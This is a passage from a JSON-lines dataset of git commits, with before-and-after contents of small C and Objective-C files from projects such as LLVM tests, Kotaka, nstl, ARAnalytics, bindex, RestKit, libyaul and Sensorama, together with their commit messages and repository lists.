91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap"}
{"commit":"134480cb1b2270251aa12e87fff32ec391d8d8f6","old_file":"test\/CFrontend\/2003-08-18-StructAsValue.c","new_file":"test\/CFrontend\/2003-08-18-StructAsValue.c","old_contents":"\ntypedef struct {\n  int op;\n} event_t;\n\nevent_t test(int X) {\n  event_t foo, bar;\n  return X ? foo : bar;\n}\n","new_contents":"\ntypedef struct {\n  int op;\n} event_t;\n\nevent_t test(int X) {\n  event_t foo = { 1 }, bar = { 2 };\n  return X ? foo : bar;\n}\n","subject":"Make the testcase more interesting","message":"Make the testcase more interesting\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@7961 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm"}
{"commit":"9854b0bc628fd7b8cce8459629ad8df1f042bc7e","old_file":"testmud\/mud\/home\/Text\/sys\/verb\/ooc\/quit.c","new_file":"testmud\/mud\/home\/Text\/sys\/verb\/ooc\/quit.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n\ninherit LIB_RAWVERB;\n\nvoid main(object actor, string args)\n{\n\tif (query_user()->query_body()) {\n\t\tquery_user()->set_body(nil);\n\t} else {\n\t\tquery_user()->quit();\n\t}\n}\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n#include <kotaka\/assert.h>\n\ninherit LIB_RAWVERB;\n\nvoid main(object actor, string args)\n{\n\tobject body;\n\tobject user;\n\n\tuser = query_user();\n\tbody = user->query_body();\n\n\tif (body) {\n\t\tobject *mobiles;\n\t\tASSERT(actor == body);\n\n\t\tmobiles = body->query_property(\"mobiles\");\n\t\tbody->set_property(\"mobiles\", mobiles - ({ nil, user }));\n\t} else {\n\t\tquery_user()->quit();\n\t}\n}\n","subject":"Remove user from mobile list when disinhabiting","message":"Remove user from mobile list when disinhabiting\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"6ac45b405fd7f929d73eb03395f713d8667b2941","old_file":"include\/nstl.h","new_file":"include\/nstl.h","old_contents":"\/*!\n * Master header of the nstl library.\n *\n * @author Louis Dionne\n *\/\n\n#ifndef NSTL_H\n#define NSTL_H\n\n#include <nstl\/operator.h>\n#include <nstl\/type.h>\n#include <nstl\/primitive.h>\n#include <nstl\/pair.h>\n#include <nstl\/algorithm.h>\n#include <nstl\/vector.h>\n\n#endif \/* !NSTL_H *\/\n","new_contents":"\/*!\n * Master header of the nstl library.\n *\n * @author Louis Dionne\n *\/\n\n#ifndef NSTL_H\n#define NSTL_H\n\n#include <nstl\/algorithm.h>\n#include <nstl\/operator.h>\n#include <nstl\/pair.h>\n#include <nstl\/primitive.h>\n#include <nstl\/type.h>\n#include <nstl\/vector.h>\n\n#endif \/* !NSTL_H *\/\n","subject":"Reorder the includes of the master include in alphabetical order.","message":"Reorder the includes of the master include in alphabetical order.\n","lang":"C","license":"mit","repos":"ldionne\/nstl,ldionne\/nstl"}
{"commit":"4db6dd114fde94aac12d4a2f01ca23032cc8cc61","old_file":"ARAnalyticalProvider.h","new_file":"ARAnalyticalProvider.h","old_contents":"@class UINavigationController, UIViewController;\n@interface ARAnalyticalProvider : NSObject\n\n\/\/\/ Init\n- (id)initWithIdentifier:(NSString *)identifier;\n\n\/\/\/ Set a per user property\n- (void)identifyUserWithID:(NSString *)userID andEmailAddress:(NSString *)email;\n- (void)setUserProperty:(NSString *)property toValue:(NSString *)value;\n\n\/\/\/ Submit user events\n- (void)event:(NSString *)event withProperties:(NSDictionary *)properties;\n- (void)incrementUserProperty:(NSString *)counterName byInt:(NSNumber *)amount;\n\n\/\/\/ Submit errors\n- (void)error:(NSError *)error withMessage:(NSString *)message;\n\n\/\/\/ Monitor Navigation changes as page view\n- (void)monitorNavigationViewController:(UINavigationController *)controller;\n\n\/\/\/ Submit an event with a time interval\n- (void)logTimingEvent:(NSString *)event withInterval:(NSNumber *)interval;\n\n\/\/\/ Submit an event with a time interval and extra properties\n\/\/\/ @warning the properites must not contain the key string `length`.\n- (void)logTimingEvent:(NSString *)event withInterval:(NSNumber *)interval properties:(NSDictionary *)properties;\n\n\/\/\/ Pass a specific event for showing a page\n- (void)didShowNewPageView:(NSString *)pageTitle;\n\n\/\/\/ Submit a string to the provider's logging system\n- (void)remoteLog:(NSString *)parsedString;\n\n- (void)localLog:(NSString *)message;\n- (NSArray *)messagesForProcessID:(NSUInteger)processID;\n\n@end\n","new_contents":"@class UINavigationController, UIViewController;\n@interface ARAnalyticalProvider : NSObject\n\n\/\/\/ Init\n- (id)initWithIdentifier:(NSString *)identifier;\n\n\/\/\/ Set a per user property\n- (void)identifyUserWithID:(NSString *)userID andEmailAddress:(NSString *)email;\n- (void)setUserProperty:(NSString *)property toValue:(NSString *)value;\n\n\/\/\/ Submit user events\n- (void)event:(NSString *)event withProperties:(NSDictionary *)properties;\n- (void)incrementUserProperty:(NSString *)counterName byInt:(NSNumber *)amount;\n\n\/\/\/ Submit errors\n- (void)error:(NSError *)error withMessage:(NSString *)message;\n\n\/\/\/ Monitor Navigation changes as page view\n- (void)monitorNavigationViewController:(UINavigationController *)controller;\n\n\/\/\/ Submit an event with a time interval\n- (void)logTimingEvent:(NSString *)event withInterval:(NSNumber *)interval;\n\n\/\/\/ Submit an event with a time interval and extra properties\n\/\/\/ @warning the properites must not contain the key string `length`.\n- (void)logTimingEvent:(NSString *)event withInterval:(NSNumber *)interval properties:(NSDictionary *)properties;\n\n\/\/\/ Pass a specific event for showing a page\n- (void)didShowNewPageView:(NSString *)pageTitle;\n\n\/\/\/ Submit a string to the provider's logging system\n- (void)remoteLog:(NSString *)parsedString;\n\n\/\/\/ Submit a string to the local persisted logging system\n- (void)localLog:(NSString *)message;\n\n\/\/\/ Retrieve messages provided to the local persisted logging system originating from a specified process.\n- (NSArray *)messagesForProcessID:(NSUInteger)processID;\n\n@end\n","subject":"Document local persisted logging API.","message":"Document local persisted logging API.\n","lang":"C","license":"mit","repos":"ed-at-work\/ARAnalytics,ashfurrow\/ARAnalytics,sgtsquiggs\/ARAnalytics,sp3esu\/ARAnalytics,AlexanderBabchenko\/ARAnalytics,orta\/ARAnalytics,levigroker\/ARAnalytics,arbesfeld\/ARAnalytics,segiddins\/ARAnalytics,sodastsai\/ARAnalytics,HelloZhu\/ARAnalytics,indiegogo\/ARAnalytics,KBvsMJ\/ARAnalytics,wzs\/ARAnalytics,ftvs\/ARAnalytics,imclean\/ARAnalytics,diogot\/ARAnalytics,BamX\/ARAnalytics,skeeet\/ARAnalytics,modulexcite\/ARAnalytics,sunfei\/ARAnalytics,natan\/ARAnalytics,rinatkhanov\/ARAnalytics"}
{"commit":"939663cc8143eefe4446241af24628fb1d0957c6","old_file":"ext\/bindex\/cruby.c","new_file":"ext\/bindex\/cruby.c","old_contents":"#include \"bindex.h\"\n\nVALUE bx_mBindex;\n\nstatic VALUE\nbx_current_bindings(VALUE self)\n{\n  return current_bindings();\n}\n\nstatic VALUE\nbx_exc_set_backtrace(VALUE self, VALUE bt)\n{\n  \/* rb_check_backtrace can raise an exception, if the input arguments are not\n   * to its likings. Set the bindings afterwards, so we don't waste when not\n   * needed. *\/\n  VALUE backtrace = rb_iv_set(self, \"bt\", rb_check_backtrace(bt));\n\n  rb_iv_set(self, \"bindings\", current_bindings());\n\n  return backtrace;\n}\n\nstatic VALUE\nbx_exc_bindings(VALUE self, VALUE bt)\n{\n  VALUE bindings;\n\n  bindings = rb_iv_get(self, \"bindings\");\n  if (NIL_P(bindings)) {\n    bindings = rb_ary_new();\n  }\n\n  return bindings;\n}\n\nvoid\nInit_cruby(void)\n{\n  bx_mBindex = rb_define_module(\"Bindex\");\n\n  rb_define_singleton_method(bx_mBindex, \"current_bindings\", bx_current_bindings, 0);\n\n  rb_define_method(rb_eException, \"set_backtrace\", bx_exc_set_backtrace, 1);\n  rb_define_method(rb_eException, \"bindings\", bx_exc_bindings, 0);\n}\n","new_contents":"#include \"bindex.h\"\n\nVALUE bx_mBindex;\n\nstatic VALUE\nbx_current_bindings(VALUE self)\n{\n  return current_bindings();\n}\n\nstatic VALUE\nbx_exc_set_backtrace(VALUE self, VALUE bt)\n{\n  \/* rb_check_backtrace can raise an exception, if the input arguments are not\n   * to its likings. Set the bindings afterwards, so we don't waste when not\n   * needed. *\/\n  VALUE backtrace = rb_iv_set(self, \"bt\", rb_check_backtrace(bt));\n\n  rb_iv_set(self, \"bindings\", current_bindings());\n\n  return backtrace;\n}\n\nstatic VALUE\nbx_exc_bindings(VALUE self)\n{\n  VALUE bindings;\n\n  bindings = rb_iv_get(self, \"bindings\");\n  if (NIL_P(bindings)) {\n    bindings = rb_ary_new();\n  }\n\n  return bindings;\n}\n\nvoid\nInit_cruby(void)\n{\n  bx_mBindex = rb_define_module(\"Bindex\");\n\n  rb_define_singleton_method(bx_mBindex, \"current_bindings\", bx_current_bindings, 0);\n\n  rb_define_method(rb_eException, \"set_backtrace\", bx_exc_set_backtrace, 1);\n  rb_define_method(rb_eException, \"bindings\", bx_exc_bindings, 0);\n}\n","subject":"Clean unused argument in bx_exc_bindings","message":"CRuby: Clean unused argument in bx_exc_bindings\n","lang":"C","license":"mit","repos":"gsamokovarov\/bindex,gsamokovarov\/bindex,gsamokovarov\/bindex"}
{"commit":"7d0c8651ffc96bf8d1f08b1a482105514301e16b","old_file":"Code\/RestKit.h","new_file":"Code\/RestKit.h","old_contents":"\/\/\n\/\/  RestKit.h\n\/\/  RestKit\n\/\/\n\/\/  Created by Blake Watters on 2\/19\/10.\n\/\/  Copyright (c) 2009-2012 RestKit. All rights reserved.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import \"ObjectMapping.h\"\n#import \"Network.h\"\n#import \"Support.h\"\n#import \"CoreData.h\"\n\n\/**\n Set the App logging component. This header\n file is generally only imported by apps that\n are pulling in all of RestKit. By setting the\n log component to App here, we allow the app developer\n to use RKLog() in their own app.\n *\/\n#undef RKLogComponent\n#define RKLogComponent RKlcl_cApp\n","new_contents":"\/\/\n\/\/  RestKit.h\n\/\/  RestKit\n\/\/\n\/\/  Created by Blake Watters on 2\/19\/10.\n\/\/  Copyright (c) 2009-2012 RestKit. All rights reserved.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#ifndef _RESTKIT_\n#define _RESTKIT_\n\n#import \"ObjectMapping.h\"\n#import \"Network.h\"\n#import \"Support.h\"\n#import \"CoreData.h\"\n\n\/**\n Set the App logging component. This header\n file is generally only imported by apps that\n are pulling in all of RestKit. By setting the\n log component to App here, we allow the app developer\n to use RKLog() in their own app.\n *\/\n#undef RKLogComponent\n#define RKLogComponent RKlcl_cApp\n\n#endif \/* _RESTKIT_ *\/\n","subject":"Add global __RESTKIT__ define for aiding conditional compilation","message":"Add global __RESTKIT__ define for aiding conditional compilation\n","lang":"C","license":"apache-2.0","repos":"mavericksunny\/RestKit,loverbabyz\/RestKit,braindata\/RestKit,timbodeit\/RestKit,caamorales\/RestKit,oligriffiths\/RestKit,agworld\/RestKit,LiuShulong\/RestKit,imton\/RestKit,margarina\/RestKit-latest,jonesgithub\/RestKit,QLGu\/RestKit,loverbabyz\/RestKit,Bogon\/RestKit,coderChrisLee\/RestKit,agworld\/RestKit,RestKit\/RestKit,baumatron\/RestKit,jrtaal\/RestKit,braindata\/RestKit,cfis\/RestKit,moneytree\/RestKit,qingsong-xu\/RestKit,erichedstrom\/RestKit,antondarki\/RestKit,goldstar\/RestKit,timbodeit\/RestKit,hanangellove\/RestKit,nett55\/RestKit,ppierson\/RestKit,Juraldinio\/RestKit,QLGu\/RestKit,baumatron\/RestKit,baumatron\/RestKit,naqi\/RestKit,nphkh\/RestKit,HarrisLee\/RestKit,lucasecf\/RestKit,kevmeyer\/RestKit,0x73\/RestKit,pbogdanv\/RestKit,sandyway\/RestKit,dx285\/RestKit,Gaantz\/RestKit,LiuShulong\/RestKit,zjh171\/RestKit,jrtaal\/RestKit,lucasecf\/RestKit,fedegasp\/RestKit,0x73\/RestKit,ForrestAlfred\/RestKit,lmirosevic\/RestKit,youssman\/RestKit,QLGu\/RestKit,common2015\/RestKit,nphkh\/RestKit,RyanCodes\/RestKit,qingsong-xu\/RestKit,Gaantz\/RestKit,jrtaal\/RestKit,oye-lionel\/GithubTest,PonderProducts\/RestKit,hejunbinlan\/RestKit,antondarki\/RestKit,sachin-khard\/NucleusRestKit,cnbin\/RestKit,imton\/RestKit,jrtaal\/RestKit,cnbin\/RestKit,fhchina\/RestKit,LiuShulong\/RestKit,fedegasp\/RestKit,hejunbinlan\/RestKit,money-alex2006hw\/RestKit,money-alex2006hw\/RestKit,hanangellove\/RestKit,timbodeit\/RestKit,pat2man\/RestKit,vilinskiy-playdayteam\/RestKit,hejunbinlan\/RestKit,0dayZh\/RestKit,wangjiangwen\/RestKit,pbogdanv\/RestKit,gank0326\/restkit,coderChrisLee\/RestKit,goldstar\/RestKit,oligriffiths\/RestKit,hejunbinlan\/RestKit,sachin-khard\/NucRestKit,adozenlines\/RestKit,pbogdanv\/RestKit,braindata\/RestKit-1,djz-code\/RestKit,mberube09\/RestKit,apontador\/RestKit,PonderProducts\/RestKit,REXLabsInc\/RestKit,youssman\/RestKit,timbodeit\/RestKit,mumer92\/RestKit,djz-code\/RestKit,ForrestAlfred\/RestKit,cryptojuice\/RestKit,damiannz\/RestKit,fedegasp\/RestKit,Juraldinio\/RestKit,lucasecf\/RestKit,lmirosevic\/RestKit,Livestream\/RestKit,braindata\/RestKit-1,RestKit\/RestKit,money-alex2006hw\/RestKit,DejaMi\/RestKit,sachin-khard\/NucleusRestKit,gauravstomar\/RestKit,caamorales\/RestKit,wireitcollege\/RestKit,ForrestAlfred\/RestKit,naqi\/RestKit,canaydogan\/RestKit,gauravstomar\/RestKit,erichedstrom\/RestKit,Meihualu\/RestKit,taptaptap\/RestKit,nphkh\/RestKit,mavericksunny\/RestKit,naqi\/RestKit,DejaMi\/RestKit,fhchina\/RestKit,wuxsoft\/RestKit,youssman\/RestKit,dx285\/RestKit,djz-code\/RestKit,ppierson\/RestKit,ChinaPicture\/RestKit,Papercloud\/RestKit,coderChrisLee\/RestKit,ppierson\/RestKit,nphkh\/RestKit,wyzzarz\/RestKit,djz-code\/RestKit,TheFarm\/RestKit,apontador\/RestKit,canaydogan\/RestKit,mumer92\/RestKit,sandyway\/RestKit,canaydogan\/RestKit,sachin-khard\/NucleusRestKit,ppierson\/RestKit,cnbin\/RestKit,REXLabsInc\/RestKit,erichedstrom\/RestKit,dx285\/RestKit,qingsong-xu\/RestKit,sachin-khard\/NucRestKit,wangjiangwen\/RestKit,0dayZh\/RestKit,REXLabsInc\/RestKit,wyzzarz\/RestKit,oye-lionel\/GithubTest,zilaiyedaren\/RestKit,StasanTelnov\/RestKit,percysnoodle\/RestKit,sandyway\/RestKit,gank0326\/restkit,aleufms\/RestKit,cryptojuice\/RestKit,imton\/RestKit,StasanTelnov\/RestKit,loverbabyz\/RestKit,ChinaPicture\/RestKit,percysnoodle\/RestKit,moneytree\/RestKit,ppierson\/RestKit,oye-lionel\/GithubTest,ipmobiletech\/RestKit,hejunbinlan\/RestKit,gauravstomar\/RestKit,loverbabyz\/RestKit,loverbabyz\/RestKit,0x73\/RestKit,SuPair\/RestKit,pbogdanv\/RestKit,nphkh\/RestKit,samkrishna\/RestKit,goldstar\/RestKit,pat2man\/RestKit,wangjiangwen\/RestKit,fhchina\/RestKit,Papercloud\/RestKit,percysnoodle\/RestKit,apontador\/RestKit,jonesgithub\/RestKit,damiannz\/RestKit,gank0326\/restkit,gank0326\/restkit,wuxsoft\/RestKit,common2015\/RestKit,SuPair\/RestKit,zhenlove\/RestKit,ChinaPicture\/RestKit,DejaMi\/RestKit,RyanCodes\/RestKit,cryptojuice\/RestKit,youssman\/RestKit,youssman\/RestKit,Gaantz\/RestKit,Papercloud\/RestKit,SuPair\/RestKit,cryptojuice\/RestKit,Gaantz\/RestKit,ChinaPicture\/RestKit,Juraldinio\/RestKit,zilaiyedaren\/RestKit,Flutterbee\/RestKit,zjh171\/RestKit,wangjiangwen\/RestKit,damiannz\/RestKit,damiannz\/RestKit,lmirosevic\/RestKit,canaydogan\/RestKit,justinyaoqi\/RestKit,mavericksunny\/RestKit,adozenlines\/RestKit,nett55\/RestKit,DejaMi\/RestKit,jonesgithub\/RestKit,LiuShulong\/RestKit,jrtaal\/RestKit,canaydogan\/RestKit,LiuShulong\/RestKit,fhchina\/RestKit,sachin-khard\/NucRestKit,jonesgithub\/RestKit,kevmeyer\/RestKit,ChinaPicture\/RestKit,imton\/RestKit,wangjiangwen\/RestKit,wyzzarz\/RestKit,dx285\/RestKit,money-alex2006hw\/RestKit,oye-lionel\/GithubTest,gank0326\/restkit,zilaiyedaren\/RestKit,RyanCodes\/RestKit,Meihualu\/RestKit,REXLabsInc\/RestKit,PonderProducts\/RestKit,wuxsoft\/RestKit,common2015\/RestKit,antondarki\/RestKit,TheFarm\/RestKit,aleufms\/RestKit,pat2man\/RestKit,RyanCodes\/RestKit,wyzzarz\/RestKit,percysnoodle\/RestKit,gauravstomar\/RestKit,CodewareTechnology\/RestKit,mberube09\/RestKit,sachin-khard\/NucleusRestKit,goldstar\/RestKit,cryptojuice\/RestKit,wireitcollege\/RestKit,braindata\/RestKit-1,QLGu\/RestKit,common2015\/RestKit,Papercloud\/RestKit,mberube09\/RestKit,money-alex2006hw\/RestKit,justinyaoqi\/RestKit,mberube09\/RestKit,Bogon\/RestKit,margarina\/RestKit-latest,Meihualu\/RestKit,SuPair\/RestKit,mumer92\/RestKit,Papercloud\/RestKit,CodewareTechnology\/RestKit,apontador\/RestKit,nett55\/RestKit,qingsong-xu\/RestKit,HarrisLee\/RestKit,caamorales\/RestKit,nett55\/RestKit,samkrishna\/RestKit,HarrisLee\/RestKit,kevmeyer\/RestKit,taptaptap\/RestKit,taptaptap\/RestKit,Meihualu\/RestKit,mumer92\/RestKit,coderChrisLee\/RestKit,lucasecf\/RestKit,hanangellove\/RestKit,gauravstomar\/RestKit,zjh171\/RestKit,ipmobiletech\/RestKit,braindata\/RestKit-1,zjh171\/RestKit,zjh171\/RestKit,nett55\/RestKit,TheFarm\/RestKit,mumer92\/RestKit,fedegasp\/RestKit,hanangellove\/RestKit,aleufms\/RestKit,Flutterbee\/RestKit,moneytree\/RestKit,samanalysis\/RestKit,Bogon\/RestKit,justinyaoqi\/RestKit,fhchina\/RestKit,taptaptap\/RestKit,CodewareTechnology\/RestKit,0x73\/RestKit,justinyaoqi\/RestKit,damiannz\/RestKit,caamorales\/RestKit,sandyway\/RestKit,sachin-khard\/NucRestKit,samanalysis\/RestKit,aleufms\/RestKit,oye-lionel\/GithubTest,sandyway\/RestKit,braindata\/RestKit,caamorales\/RestKit,braindata\/RestKit,justinyaoqi\/RestKit,lucasecf\/RestKit,Gaantz\/RestKit,Flutterbee\/RestKit,dx285\/RestKit,timbodeit\/RestKit,Flutterbee\/RestKit,zilaiyedaren\/RestKit,sachin-khard\/NucRestKit,SuPair\/RestKit,zilaiyedaren\/RestKit,naqi\/RestKit,sachin-khard\/NucleusRestKit,oligriffiths\/RestKit,samanalysis\/RestKit,cfis\/RestKit,aleufms\/RestKit,zhenlove\/RestKit,antondarki\/RestKit,kevmeyer\/RestKit,adozenlines\/RestKit,wireitcollege\/RestKit,CodewareTechnology\/RestKit,zhenlove\/RestKit,DejaMi\/RestKit,fedegasp\/RestKit,pat2man\/RestKit,margarina\/RestKit-latest,pbogdanv\/RestKit,Livestream\/RestKit,oligriffiths\/RestKit,coderChrisLee\/RestKit,ipmobiletech\/RestKit,QLGu\/RestKit,cnbin\/RestKit,ForrestAlfred\/RestKit,cnbin\/RestKit,apontador\/RestKit,baumatron\/RestKit,0x73\/RestKit,wireitcollege\/RestKit,RestKit\/RestKit,adozenlines\/RestKit,zhenlove\/RestKit,RyanCodes\/RestKit,Meihualu\/RestKit,agworld\/RestKit,HarrisLee\/RestKit,margarina\/RestKit-latest,ipmobiletech\/RestKit,cfis\/RestKit,PonderProducts\/RestKit,samkrishna\/RestKit,Juraldinio\/RestKit,lmirosevic\/RestKit,adozenlines\/RestKit,0dayZh\/RestKit,braindata\/RestKit-1,zhenlove\/RestKit,imton\/RestKit,0dayZh\/RestKit,pat2man\/RestKit,HarrisLee\/RestKit,oligriffiths\/RestKit,common2015\/RestKit,qingsong-xu\/RestKit,kevmeyer\/RestKit,vilinskiy-playdayteam\/RestKit,wireitcollege\/RestKit,Bogon\/RestKit,Bogon\/RestKit,hanangellove\/RestKit,samanalysis\/RestKit,antondarki\/RestKit,vilinskiy-playdayteam\/RestKit,wuxsoft\/RestKit,Juraldinio\/RestKit,jonesgithub\/RestKit,CodewareTechnology\/RestKit,ipmobiletech\/RestKit,moneytree\/RestKit,lmirosevic\/RestKit,vilinskiy-playdayteam\/RestKit,samanalysis\/RestKit,moneytree\/RestKit,wuxsoft\/RestKit,baumatron\/RestKit,Livestream\/RestKit,mavericksunny\/RestKit,StasanTelnov\/RestKit,agworld\/RestKit,Livestream\/RestKit,ForrestAlfred\/RestKit"}
{"commit":"85e2b7bbeecbae82e17051c1095642988a26de43","old_file":"TDTHotChocolate\/FoundationAdditions\/TDTSuppressPerformSelectorLeakWarning.h","new_file":"TDTHotChocolate\/FoundationAdditions\/TDTSuppressPerformSelectorLeakWarning.h","old_contents":"\/\/ http:\/\/stackoverflow.com\/a\/7933931\/141220\n\n#define TDTSuppressPerformSelectorLeakWarning(CODE) \\\n  do { \\\n    _Pragma(\"clang diagnostic push\") \\\n    _Pragma(\"clang diagnostic ignored \\\"-Warc-performSelector-leaks\\\"\") \\\n    CODE; \\\n    _Pragma(\"clang diagnostic pop\") \\\n  } while (0)\n\n","new_contents":"\/\/ http:\/\/stackoverflow.com\/a\/7933931\/141220\n\n#define TDTSuppressPerformSelectorLeakWarning(code) \\\n  do { \\\n    _Pragma(\"clang diagnostic push\") \\\n    _Pragma(\"clang diagnostic ignored \\\"-Warc-performSelector-leaks\\\"\") \\\n    code; \\\n    _Pragma(\"clang diagnostic pop\") \\\n  } while (0)\n\n","subject":"Revert to lowercase macro arguments","message":"Revert to lowercase macro arguments\n\nThey match the convention in `TDTAssert.h`\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"3b688a0ffa73cb7694f3b6aaf25d2c4cf9a7bf44","old_file":"libyaul\/scu\/bus\/b\/vdp\/vdp2_tvmd_display_clear.c","new_file":"libyaul\/scu\/bus\/b\/vdp\/vdp2_tvmd_display_clear.c","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <vdp2\/tvmd.h>\n\n#include \"vdp-internal.h\"\n\nvoid\nvdp2_tvmd_display_clear(void)\n{\n        _state_vdp2()->regs.tvmd &= 0x7FFF;\n\n        \/* Change the DISP bit during VBLANK *\/\n        vdp2_tvmd_vblank_in_wait();\n\n        MEMORY_WRITE(16, VDP2(TVMD), _state_vdp2()->regs.tvmd);\n}\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <vdp2\/tvmd.h>\n\n#include \"vdp-internal.h\"\n\nvoid\nvdp2_tvmd_display_clear(void)\n{\n        _state_vdp2()->regs.tvmd &= 0x7EFF;\n\n        \/* Change the DISP bit during VBLANK *\/\n        vdp2_tvmd_vblank_in_wait();\n\n        MEMORY_WRITE(16, VDP2(TVMD), _state_vdp2()->regs.tvmd);\n}\n","subject":"Clear bit when writing to VDP2(TVMD)","message":"Clear bit when writing to VDP2(TVMD)\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"3f274880fb1720b82e449a9b4d86ec0dab336d7c","old_file":"Sensorama\/Sensorama\/SRDebug.h","new_file":"Sensorama\/Sensorama\/SRDebug.h","old_contents":"\/\/\n\/\/  SRDebug.h\n\/\/  Sensorama\n\/\/\n\/\/  Created by Wojciech Adam Koszek (h) on 09\/04\/2016.\n\/\/  Copyright © 2016 Wojciech Adam Koszek. All rights reserved.\n\/\/\n\n#ifndef SRDebug_h\n#define SRDebug_h\n\n#define SRPROBE0() do {                     \\\n    NSLog(@\"%s\", __func__);                 \\\n} while (0)\n\n#define SRPROBE1(x1) do {                    \\\n    NSLog(@\"%s %s=%@\", __func__, #x1, (x1));    \\\n} while (0)\n\n#define SRPROBE2(x1, x2) do {                                  \\\n    NSLog(@\"%s %s=%@ %s=%@\", __func__, #x1, (x1), #x2, (x2));    \\\n} while (0)\n\n#define SRDEBUG if (1) NSLog\n\n#endif \/* SRDebug_h *\/\n","new_contents":"\/\/\n\/\/  SRDebug.h\n\/\/  Sensorama\n\/\/\n\/\/  Created by Wojciech Adam Koszek (h) on 09\/04\/2016.\n\/\/  Copyright © 2016 Wojciech Adam Koszek. All rights reserved.\n\/\/\n\n#ifndef SRDebug_h\n#define SRDebug_h\n\n#define SRPROBE0() do {                     \\\n    NSLog(@\"%s\", __func__);                 \\\n} while (0)\n\n#define SRPROBE1(x1) do {                    \\\n    NSLog(@\"%s %s=%@\", __func__, #x1, (x1));    \\\n} while (0)\n\n#define SRPROBE2(x1, x2) do {                                  \\\n    